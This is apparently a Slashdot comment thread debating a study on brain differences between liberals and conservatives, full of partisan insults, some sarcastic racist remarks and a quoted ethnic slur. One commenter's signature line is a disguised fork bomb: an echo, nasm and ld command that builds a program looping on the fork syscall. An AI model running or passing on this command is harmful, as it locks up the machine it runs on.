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Brain Differences In Liberals and Conservatives
i_like_spam writes "Scientists from NYU and UCLA report in Nature Neuroscience that the brains of Democrats and Republicans process information differently. This new study finds that the differences are apparent even when the brain processes common information, not just political topics. From the study, liberals were more likely to be accurate and showed more brain activity in the region associated with analyzing conflicts. A researcher not affiliated with the study stated, liberals 'could be expected to more readily accept new social, scientific or religious ideas.' Moreover, 'the results could explain why President Bush demonstrated a single-minded commitment to the Iraq war and why some people perceived Sen. John F. Kerry... as a flip-flopper.'"
Thanks a bunch kdawson.
(I've shown considerable restraint in pointing this out in the last 10 similarly crap stories, but enough is enough.)
It takes a man to suffer ignorance and smile
Be yourself no matter what they say
I'm a liberal and I've always had great difficulty convincing Republicans that I'm right and they are wrong. Thankfully this study tells me that it is because I am smart and they are stupid. Since I am white and male, I look forward to further studies proving women and other races are also inferior to me to explain why they are similarly disobedient. Soon, I hope we shall return to the happy days of the 19th Century where science explained why some people the rulers and others are the ruled. Perhaps we could have a rule where Republican votes count for 3/5ths of Democrat votes, like we did with Negros before the Republicans stirred things up. Or perhaps they could be barred from voting completely, like we used to do for women.
I also hope that when the country has universal health care it will be be possible to abort fetuses with these cognitive disabilities, just like we do for babies with other developmental defects.
No, just kidding. This looks like awful science, just like the 19th Century studies that confirmed the experimenter's prejudices that black people and women were inferior.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
actually, according to tfa liberals are better thinkers.
imho old persons become conservative just because of decline of cognitive functions due to old age.
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
1) Liberals are more likely to smoke pot
2) Pot smokers are more likely to sit around the house
3) People who sit around the house are more likely to play video games
4) People who play video games are more likely to have better hand-eye coordination
5) ???
6) Profit!
The only reason you have a black and white Liberal - Conservative divide in the US is the mathematics of how your electoral system works. Other countries with sane electoral systems actually have shades of grey.
Deleted
This isn't as bad as the UC Berkley study which basically tried to 'scientifically prove' that Conservatives were mentally impaired... using taxpayer dollars.
I also wonder just what they mean by "Conservative". Ron Paul is the candidate that has made the most sense to me so far, and most consider him FAR right... course most of those people don't know the different between conservative and libertarian, but still.
FanFictionRecs.net
Having said that. I don't think there are any religious ideas of signifcant value. Buddhism I'd class more as philosophy.
Deleted
this means that liberals actually think about what they do and are more accurate because of it.
and this means that conservatives have difficulties to gasp changes and understand new ideas (nothing new here).
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
Don't forget this quote:
"An open mind is like a fortress with its gates unbarred and unguarded."
So yeah, you can flame them as much as you want, they're not going to change that easily.
The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
How much do you want to bet that if Conservatives had scored higher for accuracy, the story would be about how Liberals process information faster.
You assume one way is better than another. How un-liberal of you.
“Common sense is not so common.” — Voltaire
imho old persons become conservative just because of decline of cognitive functions due to old age.
No, according to TFA, liberals are faster and more reliable at differentiating between the letter M and the letter W in a timed experiment.
I think we may safely extrapolate, and say that we expect this to be true for all differentiation between objects,
I.e. liberals could tell the difference between:
As for going so far as to say conservatives are slow and stupid. Well, there are many chains to be yanked, but saying that would would be neither fair, nor scientific.
**TODO** Steal someone elses sig.
Deleted
The linked site is scarce on details - the paper itself is more interesting. First, David Amodio (lead researcher) is not obviously flaming. I'm no expert in neuroscience -- but the data looks good, and he has a track record on usage of scans for similar tasks (most of it race-bias related, but that's another subject).
Here's an interesting part of the experimental design:
I think that there are two ways in which the experiment may be flawed. One is that 43 persons are not enough to extrapolate to the whole US population; and more importantly, no details are given on how they were chosen. If they were chosen among colleagues in an academic setting, where most people (your mileage may vary) are left-wing, you may have problems finding people which self-describe as conservative. These few would be most resistant to changing their viewpoints, I would guess -- since otherwise they may have flipped from exposure to liberal arguments.
Another way in which I think the study may be flawed is by asking people to self-define their position in the political spectrum -- a one-dimensional political spectrum. What guarantees do you have that participants really are "conservative" or "liberal" (whatever that means to you), and have actually thought about the political issues involved in each "choice" (as if there weren't many, many greys)?. A 2-dimensional political positioning would provide more insight. A short questionnaire where participants actually had to think, instead of "choosing their favorite color" would have been even better.
This is assuming that the researcher knows what he's doing, and the
conflict-related ACC activity was indexed by two ERP components. ERPs are scalp-recorded voltage changes reflecting the concerted firing of neurons in response to a psychological event. is actually a good measure of resistance to change or willingness to accomodate it. No details are provided on the exact activity, other than stating that parcicipants were offered the choice of two actions, "Go" and "No-Go".You can find the full article at the author's lab website.
Liberals aren't the folks who got so wound up in paranoia and fear that they cheered on the POTUS to invade a country that had fark all to do with any attacks on the US. Liberals aren't the ones constantly bleating about terrorists and alert levels and all the other nonsense.
But yeah, it's liberals that are the wussy scaredy cats....
Right.
"What about people like me that are a little of each and some of neither?"
Simple, you don't exist, now get out of here and stop invalidating the data!
On Wall Street they say "buy low, sell high" On the pad we say, "buy high, sell high" Isn't that somehow better?
Deleted
You may want to do some reading before using the term. Start here: http://en.wikipedia.org/wiki/Classical_liberalism.
Why bother.
Now come on, folks - lets get real here. I've only read a half dozen comments so far, and already people are extrapolating WAAAAAAAAAAAAY too much from a simple test
Call me conservative
Uh-uoh - I think I just tolerated some ambiguity
Fine submissions like these cause me to wonder if perhaps the recent upswing in anti-kdawson sentiment isn't entirely unjustified...
The headline and summary was so priceless that I just had to read TFA. I assumed that TFS had as usual grossly mischaracterized TFA. This was, however, not the case (yay L.A. Times!). The thing that jumped out at me was that this study was conducted on a bunch of college students (i.e. undergrads looking for extra credit in intro psych classes) at UCLA and NYU. If you consider the percentage of liberal students at UCLA, I wonder if there might not be just a tad of selection bias inherent here...not to mention the libertarian objection that the political spectrum is poorly characterized in a linear fashion.
Although I couldn't find the original paper, this other article (no registration with google referrer) was more informative, quoting someone who actually was connected with the study, and another psych professor who points out that this study (of 43 students) might not be the pinnacle of statistical rigor.
On the other hand, I guess we can feel fully justified in drawing conclusions about conservatives students NYU and UCLA ;). I know that my own alma mater can count Ann Coulter, for one, amongst the 15 or so of its alumni who were strongly republican as undergrads...Ironically, this study will probably promote its own conclusion, though, when Prof. Amodio becomes the core of a republican talking point on the apparent liberal bias of America's university faculties.
Finish fixing what problem, exactly?
Please don't start with the socialist thing. Americans do not know what "socialism" is and they've co-opted the word to use as an insult. Much like "Liberal" and "Conservative" are no longer definitions of political ideology but epithets. In this black and white world of false political dichotomy there is no room for moderates and there is no understanding of any political ideology outside of those espoused by the two faces of the single American political party (Republicans & Democrats).
In much the same way that religious voters will tolerate massive corruption and sexual perversion from politicians who claim deep religious convictions (of the White Anglo Saxon Protestant variety only please) . American's will tolerate outright evilness on the part of the avowed anti-communist & anti-socialist capitalist businessmen and lobbyists.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
The conservative brain is already dead, it's just too inflexible to notice this change.
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
As I said earlier, you can debate whether or not the war is worth the cost, or if it should have been fought at all
I may be conservative, but I'm neither arrogant nor close-minded enough to believe that somebody is stupid, callous, or a coward just because they don't agree with me.
I would like to see the results from a comparative study of the people here in Denmark (which is a capitalistic democracy, despite the public healthcare system, free scholls and stuff like that) - compared to the politicians here the liberals and democrats are both right-wing conservatives.
-- A good compromise leaves everyone mad. --Calvin and Hobbes
The problem of the security vacuum that was created when Hussein was brought down. After we brought down the old order, we failed to step up and maintain order, so now we have the unenviable task of trying to establish order where none exists.
Our leaders were blinded by their own optimism, now many of our finest are paying the ultimate price for that failure.
A house divided against itself cannot stand.
In comparison to global political ideology Ron Paul is "Far Right". In comparison to the rest of the candidates (from both parties) for the 2008 United States presidential election he middle of the pack. He is also libertarian and this is what separates him from the Authoritarian candidates (This is all of the Republican candidates and all but two of the Democratic candidates). Conservative vs Liberal Ideologies and Libertarian vs Authoritarian are orthogonal ideologies.
So it makes perfect sense to call Ron Paul a far right conservative libertarian because these are exactly his political ideologies.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
I may be conservative, but I'm neither arrogant nor close-minded enough to believe that somebody is stupid, callous, or a coward just because they don't agree with me.
:) ) I found this behavior fairly appalling.
I have no doubt that you as a person are not. However as a non American I must ask what did you think of the treatment of the French. Who disagreed with US policy and have the American media and public ridicule them as a country of cowards and idiots. Even tho I dont like the French(Ive had to work with them
This story was obviously submitted so that you would see something like an "501 of 896" posting count. It is 100% pure flamebait or perhaps on a higher level a poorly written satire.
I am not in the middle of this Liberal/Conservative "war," and I can tell you honestly that liberals can be very stupid, and conservatives can be very astute.
Well spotted.
The paper is still in the preview part of natures website, so I couldn't get to the full text.
David M. Amodio has done similar trials, where responses are timed (otherwise, the subject could just take their time and get a 100% hitrate). Heres an example where latencies are measured. I have assumed a very similar method was used in both experiments.
http://scan.oxfordjournals.org/cgi/content/full/1/1/26
**TODO** Steal someone elses sig.
Also, are we talking about ideals, financial, or strictly both to qualify conservative or liberal? My ideals are conservative, but I'm financially liberal; were these things weighted? I'd say my socio-economical class doesn't much lean either way (white male, middle-middle class, 23), so is the question just which side I relate to more?
FWIW, I don't think binary labels are a good tool for representing an analog chunk of an analog spectrum without assigning weights to aspects that are of a social nature. Does anyone else feel that this entire study ended up with a group of people standing around grinning at their excessive cleverness at the end of the day, while no actual scientific work was accomplished?
If I mod you up, it doesn't necessarily mean I agree with what you've said, sorry.
Book I, lines 261-263 of Paradise Lost.
"Here we may reign secure, and in my choice
To reign is worth ambition though in hell:
Better to reign in hell, that serve in heav'n."
Have you ever read Milton, Captain?
Cronus
Most people here assume just accepting new ideas at face value (which is all the study suggested) is a good thing. The article did not in any way indicate that it tested what the evaluative processes that liberals vs conservatives go through before they integrate new ideas into their view of the world. That's a critical thing to know. Frankly, I want people in charge and those voting to have some initial skepticism and to analyze new ideas before they accept them. Just because you hear it or have an initial thought doesn't make it true or valid.
On another note, the article indicated that they chose "very liberal" or "very conservative". It's entirely plausible that the extremes are there for biological reasons and those who dont "identify" with their political orientation choose that orientation for different reasons (former biological, latter rational thought)
Hating the French and Mexicans is high fashion among the Dixie Republicans and Midwesterners, I doubt they even know why. However they lack the ability to successfully identify the objects of their derision. On a recent trip to Atlanta, GA I was confronted by a few women bemoaning the fact that my family were a bunch of wetbacks here on the dole, and couldn't even be bothered to learn the language. This was wrong on a number of different levels: I am an American Citizen, as is my Daughter. My Girlfriend is Cambodian. We are all legal residents of Austria. My girlfriend had a tourist visa (as we were on holiday). We were speaking German between ourselves and I was trying my best to translate. Despite having lived in Atlanta for a number of years in the past, I was absolutely amazed to be subjected to this sort of hate.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
May contain traces of nut.
Made from the freshest electrons.
In this vein of reasoning (thanks for digging the groove for me to glide along so easily), it means conservatives read about something (study, presidency, war), and think, "man, I'd be good at that!" then get there, and they get explained what they have to do, and about 3 minutes into it, they start doing a poor job, even though they committed to it and they're getting paid. They think things like, "boy, this is hard work!" and "you can't be expected to be accurate all the time."
For example. Think before you troll. I'm not even really into the liberal/conservative social split we have going in our culture. But as another posted pointed out, Conservatives seem to be pretty good at reconciling being a gay-bashing homosexual. Yes, there are things that are detestable about liberals, but we've got the neo-cons, the page-fucker, the anonymous gay sex guy, and my republican acquaintances are completely steadfast in their support of 'their' people, even when they can provide zero reason.
A great rationalization I've heard goes something like this:
Guy 1: Do you agree with Bush's policies?
Republican voter: I agree with his morals
Guy 1: Yes, but what about his policies?
Republican voter: I believe he's a very moral man.
I shit you not, a real conversation I've overheard. This goes far from condemning all republicans, but I've heard things in exactly the same spirit that are exactly as shocking from lots and lots of people.
Again, think before you troll, please. You upset me.
Please stop stalking me, bro.
You sir, have the strangest definition of religion I have ever seen.
Political models != religion.
Economic models != religion.
However, OS choice == religion.
I'm Canadian. I remember Degaule's "Vive le Quebec Libre" speech in Quebec City. I'm very familiar with their behaviour during WWII, and their behaviour since then. I remember their obstructionism in NATO during the cold war. As far as I'm concerned, the French don't get half the ridicule that they deserve.
Sorry, but polling COLLEGE STUDENTS does NOT reflect the general populous. Is this stat a little rigged? Very rigged? Think for a minute here--aren't college students naturally more open to doing things? I have seen an awful lot of college students go from "mad liberal" to moderate in a matter of a few years as I am in a "spectatorial" position where we hire guys fresh out of school and watch how they change throughout their careers.
--parasonic
I guess it goes without saying that democratic politics seems to be something less than the shining beacon of leadership it's meant to be, at the moment. The "left" and the "right" seem to rarely argue from their traditional perspectives anymore (left: more tax, more public services, more rights for gay people and women; right: less tax, more freedom for corporations, "family values") and instead just stick to the party drift. Right: pro-war; left: anti-war.
In the UK, we even have the leader of the right wing Conservative party (David Cameron) saying he will match Labour's spending commitments. There is now nothing to choose between them in terms of policy. The only difference is whichever set of politicians you think is the least idiotic and selfish.
In the US, I guess it's whether you're more sickened by the corruption and incompetence of the Republicans or the cowardice and lack of direction of the Democrats.
Peter
What's to understand?
Socialism is both self-evidently false and a uniform failure where ever and to what ever it's been applied. This troubles socialists not at all and this research suggests that the reason for preferring a political system that's never worked over one that has a chance of working is part of the structure of the brain.
You're not a liberal/socialist/communist/who-gives-a-shit because you're insightful or compassionate, you're a liberal because your brain is wired in such a way as to find some value in what conservatives see as abject failure.
Minutus cantorum, minutus balorum, minutus carborata descendum pantorum.
Someone needs to repeatedly remind the French-hating Americans that it was the "cheese-eating surrender monkeys" who won the American war of independence at the battle of Yorktown.
I wrote my first program at the age of six, and I still can't work out how this website works.
I guess it goes without saying that democratic politics seems to be something less than the shining beacon of leadership it's meant to be, at the moment.
Got that right.. The last Democrat who was worth a damn was Harry Truman.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
"In much the same way that religious voters will tolerate massive corruption and sexual perversion from politicians who claim deep religious convictions..."
Most religious voters are far and away not religious by their own holy text's standards, it's standard hypocrisy and magical thinking at work.
Yes, clearly if conservatives are failing in our cognitive experiments, it's a result of a cultural bias in the test. It's hardly surprising, after decades of prejudice against conservatives in the sciences, that the tests are designed to protect the current cultural hegemony. Rather than subjecting conservatives to standardized cognitive experimentation, therefore, we should be using holistic methods in the laboratory, and perhaps speaking to them in their own rich linguistic heritage, which I call "elephonics".
Or it supports my theory that people get more selfish as they get older.
You're kidding, right? Ever heard the piercing shriek of a four year-old yelling "mine!"?
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Actually, it's "maths" because it stands for "Mathematical Anti-Telharsic Harfatum Septomin".
So there.
(Serious answer: mathematics is plural, meaning "the mathematical sciences", so should be shortened to maths.)
Only non-native English speakers says "maths". It's "math", or if you must "mathematics" Carry on.
What you mean non-native English speakers like people who live in England? "Math" is an American English thing and sounds off to a native English speaker.
"France only wins when America does most of the fighting."
Most? I think Britain and Russia can claim the last one.
I wrote my first program at the age of six, and I still can't work out how this website works.
It's funny how different people see different things when they see the word "liberal". From your post, it looks like you use the fairly recent association of "liberal" with "big government". When I see "liberal" I think of the traditional meaning - the root is the same as "liberty", and liberals of the classical kind (I condider myself one) are generally more in favor of individuality and individual responsibility (exactly what you associated with conservative).
Your conclusion that urbanized people have a "greater comfort level with shifting responsibility/authority to the government" is another thing that doesn't jibe with my experience. Urban areas do tend to be more liberal - and in any major city there is much, MUCH more diversity and individuality than in rural (or suburban) settings. I would argue that people in cities are *less* likely to be comfortable with the idea of shifting authority to government.
Just look at the current political situation - on which side of the political spectrum is this administration, which has done more to grab government authority than almost any other administration in history? Can you imagine a liberal president saying he/she has the right to lock someone up indefinitely just because they say so? Can you think of anything that is more "government authority" than that level of autocratic control over someone's personal liberty?
Only non-native English speakers say it's "math". Because only Americans say it's "math".
Native English speakers. That'd be those from England and the nearby related nations say "maths".
Deleted
I love how the strength of people's biases filter through to so control how we think and act in this world. The majority of responses here seem to complain about Democrat or Republicanism or some hardly veiled tack. Take a look at TFA, it purely distinguishes between liberals and conservatives (small l and small c) not Democrats and Republicans. THERE IS A HUGE DIFFERENCE. And to assume or extrapolate otherwise is a hugely incorrect step on all our parts. As a matter of fact, the word Republicans isn't even mentioned in the report! Strangely, the word Democrat appears once describing John F. Kerry (which is the most douchebagish way of saying John Kerry...), but regardless. Another important issue, is we cannot link directly to the ACTUAL study in question" (for a separate reason: due to the controlled access of knowledge by academic institutions, which sucks). How do we know truly what the study entails, how the methodology is controlled, etc., without access to the actual paper. This is only possible if you have $30 for the article entry, btw. Nonetheless, as long as Americans continue to automatically draw the line between liberal and conservative, Democrat and Republican, black and white, etc., as the article quotes the author of the study: "liberals and conservatives are never going to agree". And articles like this do nothing to help. But ultimately, its all our faults for drawing lines in the sand and being so damned stubborn to the detriment of life, society, and wellbeing.
...and it should be known by now
I have lived my entire life as an immigrant, a family of defectors running from the Czech communists.
My whole life I've had jingoist assholes hate me because I was not born where they were born. I've had redneck racist assholes stutter with confusion when they discover that just because I am white doesn't mean I am 'from around here' and share their racism.
I've spent my whole life trying to learn languages of where I am living and I've got to tell you languages aren't my thing I'm no good at any of the ones I speak. I've then had racists hate me because I spoke English with accent different from their accent... and they can barely speak ONE language.
Both my girlfriend and my daughter have had racists hassle them based on skin colour and accent in the US and not in Europe.
You have a whole branch of your family gone? That doesn't does make you special, that makes you average... well over half of members of my family who were living in the 30's were killed either during WWII or shortly after and you don't hear me using as an excuse to hate.
You say "the gov't wants me to let go of my culture and my country to a bunch of pricks that can't even follow the simplest of laws to get into the country!" This is the height of racist BS. No immigrant wants you let go your 'culture' (such that it is) they want to rid you of your hate. The US government does not want people to abandon culture or country affiliation, they have simply forbad you commit crimes motivated by the hate you have. People like you make me glad I took my family and my money to Europe.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
That's all fine and well and your story makes me weep, but the reality is that with your emotional diatribe, you've neglected to mention that these people are not in the USA legally. So, if these "victims" can't even be bothered to follow the laws of getting into the country, why would they even be reliably expected to follow the other laws of the country as well. And you know what, they -don't-.
So please, don't keep on lying. Immigration and illegal immigration are two entirely different things. Legal immigrants are invited to this country, and improve it. Illegal immigrants are invaders.
This is my sig.
Yes, but depending on the college, the prevailing political opinion may be heavily slanted towards one side. That would certainly skew the results, as people who couln't make their minds for themselves would be answering with locally "righteous" ideology, and cases of those who did not cave in would be more extreme (either because they felt strongly about their options, or because they stuck to their choice out of being stubborn). My wild guess is: predominantly liberal college, few conservatives to choose from, most happened to be headstrong.
Repeat the experiment with a different distribution to check for this bias, or quiz people on their political views instead of allowing them to tick a box.
That's the whole point. It is against the law to enter the USA without following certain procedures, and therefor, those that do not follow those procedures, are breaking the law, and are criminals. It's pretty cut and dry.
This is my sig.
I'm disappointed that no one has quoted David Hume yet:
"Not all conservatives are stupid, but it is true that most stupid people are conservative."
What if I do the same thing, and I do get different results?
sounds good to me!
It breaks my pluginses, my precious!
In the first split second. That in no way implies it doesn't happen later. Basically, we now know how liberals vs conservatives respond if they have only an instant to think about it - we know nothing about how the process routes afterwards.
Actually, the inevitability of becoming more conservative as we age is overstated, at least from my observations.
However -- there is something of a tendency this way, which is readily explained by something market researchers have known for years: the concerns of young people and old people are different.
When you are young, you don't have much: not much stuff, not much property, not much power. But you have potential. Therefore you favor things that take wealth out of the hands of The Man in order to maximize human potential.
When you are my age, you have lots more stuff, lots more power, but less margin of error. The twenty year old who loses everything has his entire work career to earn it back. The fifty year old can look forward to a miserable retirement. Therefore you are less interested in exploiting the possibilities of a brave new world, and more interested in holding onto what you already have.
I would say that the most intellectually committed individuals on the right and left tend to shift less often than the people whose ideology is a shallow "stick it to the man" thing. The latter people's opinions really just reflect their selfish immediate interests throughout their lives.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Need to type accents and special characters in Windows? Use FrKeys
It is one of those forms of science that annoys me. If I agree with the statement then I give credit for it. If I disagree and point out that say I am a conservative and I think this science is bubkiss then it only proves the science only further. Remembering this is only science and there is statical deviation where most conservatives show a trend of this and liberals show a trend of that. Doesn't mean that a conservative is unable to have a brain the functions like a liberal and vice versa, just more of a trend towards that direction. Sometimes a person is conservative because they spend a lot of time thinking about it and they see the direction that the liberals give is more flawed and in the long run will cause more problems then gains. E.g. Is spending more taxes on a service that has a marginal value vs. not paying the extra taxes and have the person use it towards something that offers better value. Or the opposite can be true, Eg Person A believes that there should be more taxes for government services because they grew up taking handouts from government services and that is the only life they know.
As for a general trend I would agree with the data but you need to be sure not to go to someone with a republican bumper sticker and assume they are hard nose and cannot learn, or someone with a Democrat bumper sticker(s) (Normally the case with liberals who tend to have more bumper stickers then conservatives) you can assume they will collect information easily and can grasp new concepts easier. Because a trend doesn't equate to people falling into stereotypes, just the fact the dice is weighted slightly to one side.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Come on, they used a "W". To any conservative a "W" is just a letter. To any Liberal, a "W" means "George W. Bush" to which they have an adrenaline rushed response to any mention or sight.
In fact, the study almost proves this fact. For both conservatives and liberals their reactions to the letter "M" were nearly identical. Liberals only excelled in targeting the letter "W".
We pretty much already know that Liberals are very good at targeting George "W".
Bah!
***
This is some of the worst science. Thankfully, it's anti-conservative therefore Slashdot will readily post it in it's slide away from a "science" log to a "politics" log.
Everyone is always old enough in his own mind. When I was 15, I was definitly old enough and had enough experience. Or so I thought. I turned 21 and saw what a moron I was at 15. But at 21, I was set, ready and had all the wisdom necessary.
I turned 25, and could only shake my head at the fool I was at 21. But no more, I swore!
Now I'm past 30 and, seriously, that idiot I was at 25... let's not talk about him. But finally, I managed to be the pinnacle of wisdom and intelligence, now if my boss (who's gonna go for 50 in a few weeks) would only admit that I am...
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Please use some logic.
Just because old people who are liberals are brainless, it does not mean that all brainless are liberals.
For example. Think before you troll.
He can't, he's a conservative.
But it's kinda easy to tell that four year old that it's NOT his: Grab it and slap him.
Now try the same with a 60 year old who has a lawyer and a rifle, and knows how to use both.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Well, kinda, but that's largely the result of a media that generally has been manipulated by the right for the last 15-20 years and generally repeats conservative talking points and framing. Liberals have found it harder to frame issues than conservatives have.
Liberals are generally standing up for the more unpopular issues and aren't looking for things to be terrified of. I spend a fair amount of time debunking various inane "OMG! The US is about to be invaded by... {insert current bugbear here}" chain emails that are increasingly fanatical and insane (the latest involves a Mexican-Canadian overpass, that I thought was someone taking an old Onion story seriously until I did some Googling and found it all over the websites of the right. There is no logic, no sanity, no rationality to this "conspiracy" and yet right wingers the country over are trying to interpret all kinds of facts to fit it.)
Note, I'm not saying the left doesn't have its own insane conspiracy theories, it's just the left doesn't seem to have that same fear thing going. The left's has to do with the right being increasingly unhinged and manipulative to an extreme, whereas the right's has to do with actual invasions by groups that, in reality, pose little or no threat.
So the right is cowardly. Their use of framing, to portray Bush as some heroic figure, a "war president", to suggest the principle of "shoot first, ask questions later" is anything other than the response of an immature teen holding a gun while peeing in his pants, is how they get away with it. It is the confusion of using violence with the very often opposite principle of bravery.
You are not alone. This is not normal. None of this is normal.
I suspect that the reason many business owners are conservative has more to do with taxation rates and regulation than cognitive differences.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
No, according to TFA, liberals are faster and more reliable at differentiating between the letter M and the letter W in a timed experiment.
Well, I'd have to say that since seeing "W-2004" with a little flag bumper stickers prior to the 2004 election, liberals [note: I'd describe myself as one] have an immediate, visceral, and very negative reaction to the letter 'W'.
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The situation is worse than that, and in my opinion is one of the reasons that it is practically impossible for a member of the Legislative Branch from running for President. Kerry didn't take a single issue and change his mind a couple of times. Rather what happened was that the issue in question was a rider which was tacked onto three different other bills. What Kerry did was to vote yay or nay on the actual bill and the rider was, well, just along for the ride. Kerry was not voting against sending body armor to the troops, he was voting against making the Bush tax cuts permanent, but someone with an agenda can take that vote and make it look like Kerry was giving the troops the middle finger.
Every single legislator who has ever voted on a bill has the same exact voting record if you're willing to dig for it. When you can tack arbitrary riders to other proposed bills that is the situation you get. If you take a bill proposed to aid war veterans and tack on a rider to club baby seals there simply is no good way to vote on that bill. You either hate veterans or you hate baby seals.
Considering that majority voters will vote for people who hold common beliefs, I do not see an issue with that. this is one of the problems Democrats seemed to have, they can't connect with the people, the voters.
"Time was, 6% was considered full employment." - George Will
He was referring to pre-Reagan days. Now Democrats themselves get bent out of shape over 6% unemployment as everybody "knows" it should be sub-4%. Guess why? It wasn't just because Reagan "meant well, at least".
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
And yet you want them forced at gunpoint back into those hard situations?
1.) There are no simple answers.
2.) I honestly don't know the best way to handle people who are already here. It might work to simultaneously make the immigration process easier and then require illegal immigrants to go through it if they want to stay. Or something along those lines.
3.) By "hard situations", we're not talking about war-torn refugees, we're talking about lower standards of living. Depending on how low...possibly, yes.
4.) That their desire to bypass the system is understandable doesn't mean eliminating the system is the best thing. I sympathize with a poor man who steals food to improve his hungry family's situation, but my solution is not to make it effectively legal to do so--my solution is to ensure there are better ways for him to help his family. (And yes, to exercise discernment and mercy in the punishment.)
In the short term, in America, "right-wing" and "conservative" overlap.
In general, conservatism is an attempt to preserve existing state, liberalism an attempt to change it, or at least an openness to change. That people who are open to change are open to change is not a surprising result.
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I'm sure your parents think so. :)
imho you're not old enough to have the experience required to know just how valuable experience can be.
Is that why the vast majority of people do their best and most well known work before 30.
"There are more things in heaven and earth, Horatio, than are dreamt of in your philosophy."
So in other words, Conservatives are more conservative in their thinking and Liberals think more liberally?
The reason Bush can stick to his positions so easily is that his positions amount to a pack of carefully packaged lies.
Take the Bush tax cuts for example. He wanted the tax cuts, and he wanted them slanted to favor the very rich. We know that much, if only because that's exactly what he got. But his position (lie) was (depending on the day):
. We're running huge surpluses far into the future. In that light, it's immoral to collect so much in taxes.
. We're in a recession, only tax cuts for will save the economy. (and only the *same* tax cuts for the rich that happen to be the least efficient at fighting a recession)
. I'm giving a few hundred dollars in cuts to lots of middle class families, so most of my tax cuts go to middle class families. (even though in total dollars most of the money goes to the top few percent by a huge margin)
. Taxes on dividends amount to immoral double-taxation (even though Corporations take enough deductions to never pay taxes on the money).
. Repealing the inheritance tax will save family farms that would otherwise be lost.
On any given day, Bush's position was for tax cuts. But his rationale was all over the map. Likewise, his rationale for invading Iraq was all over the map (i.e. he was lying). The only difference is the *real* rationale isn't quite (oil?) as obvious (oil?) when it comes to (oil?) Iraq.
I was listening to Bill Kristol the other day explaining how invading Iraq was *still* the right thing to do, because the sanctions were going to come off. What the interviewer neglected to ask him was "who was pushing for the sanctions to come off and why"? I never heard anybody publicly call for that, but I'll bet some big Oil patch donors wanted it. So what Bill really meant was Republican beneficiaries of Oil interests were unable to resist their benefactors' requests to remove the sanctions, so we needed to go to war to destroy the regime so it was safe to remove the sanctions.
Posted from my Android phone. Oh, I can change this? There, that's better...
Sen. Larry Craig says otherwise.
We always get the "things changed after 9/11" argument, which I can understand to a point. That may have made it more appealing to them to remove Saddam, faulty intelligence or not. However, it certainly didn't change the problems that Cheney talked about before. It didn't change the likely outcomes of an invasion one bit. So, I don't know how we could possibly have been so unprepared, but it certainly wasn't because they were blinded by optimism.
It's not enough to bash in heads, you've got to bash in minds. - Captain Hammer
"Ron Paul is the candidate that has made the most sense to me so far, and most consider him FAR right..."
Is that because he's the ONLY Republican candidate to not endorse preemptive nuclear strikes against Iran?
But seriously, I also wonder what they, or anyone, mean by conservative. Maybe if you have a big enough survey it washes out?
Take Ron Paul. He wants to abolish the EPA, IRS, Dept. of Education, etc. so clearly he is fiscally conservative. Bush and Reagan were liberals in that dept and we'll be paying for that for 50-100 years. All the Republican candidates are socially conservative, even on the Democratic side only one had the guts to support equality for gays (Kucinich). So, who is liberal or conservative and which issue proves it?
Then we have civil rights. Ron Paul seems to be the only Republican candidate who cares what the Constitution says about issues like torture and privacy. Is he a liberal? Or is not wanting to ignore/liberally-interpret the Constitution make you conservative? The ACLU likes to claim it's the most conservative group in the country...
Should I put gay marriage under civil right? What about anti-abortion vs anti-nationalizing-the-uterus?
The more you look at polarized politics the less sense it makes.
Tapping a W when supposed to be tapping a M makes you "dumb?" What a fucking joke. If you ask me, anyone who can see how a W could be an M (but upside down) is MORE open minded, MORE creative. Someone capable of seeing both sides of an issue.
And this is a joke to "liberals 'could be expected to more readily accept new social, scientific or religious ideas."
Come visit the San Francisco Bay Area. The liberals here just as intolerant and just has condeming as an conservative. Liberals here hate religion, refuse to accept science that conflicts with their beliefs, and refuse to accept that some lifestyles are OK even if they are undesirable.
Its more of a matter of who is the dominant group. Dominance demands conformity.
*
btw I am not a Republican if you were jumping to conclusions.
Right on. "Socialism" is at best an ad hoc concept, able to exclude "bad people" at will. Modern day socialists want to have their cake and eat it too: they want to separate themselves from Stalin, Hitler, Mao, Pol Pot, and all the other evil fuckheads while remaining committed to the collectivist moral ideals they espoused. When you've accepted that the rights of the individual may be trampled on for the sake of the group, the actual number of corpses is just a matter of details.
Jesus is coming -- look busy!
A good point I saw elsewhere about this article: Liberals are more likely to be women than conservatives are. Thus, a simple liberal/conservative split would probably introduce a sexual bias into the measurements, and there are major differences between how men and women process information. Was this test controlled for gender?
There are racial and social class drivers of political ideology as well... there's a number of potential problems with this test.
- Sober or stoned
- Straight or gay
- Just got off a 12 hour shift or a living on a trust fund
- Athletically talented or clumsy as hell
- Man or woman
That they call this 'science' makes me want to quit my job and start selling cars..."Who are you?" "No one of consequence." "I must know." "Get used to disappointment."
I hate the generalization of all Democrats being Liberals and all Republicans being Conservatives. I am a democrat, I drive a car when I could easily bike to work, waste plenty of electricity, and still believe in personal responsibility (I'm not even going to get into that one). In other words, I'm not a Liberal, please don't call me one.
So if we know what the difference is between liberals and conservatives...
Does that mean we can finally fix the conservatives?
Generally liberals are highly educated and more so then conservatives. It appears that the college environment promotes liberalism to a degree. So, I have to ask several questions and seeing that you bought into this study, I figure you have the answers.
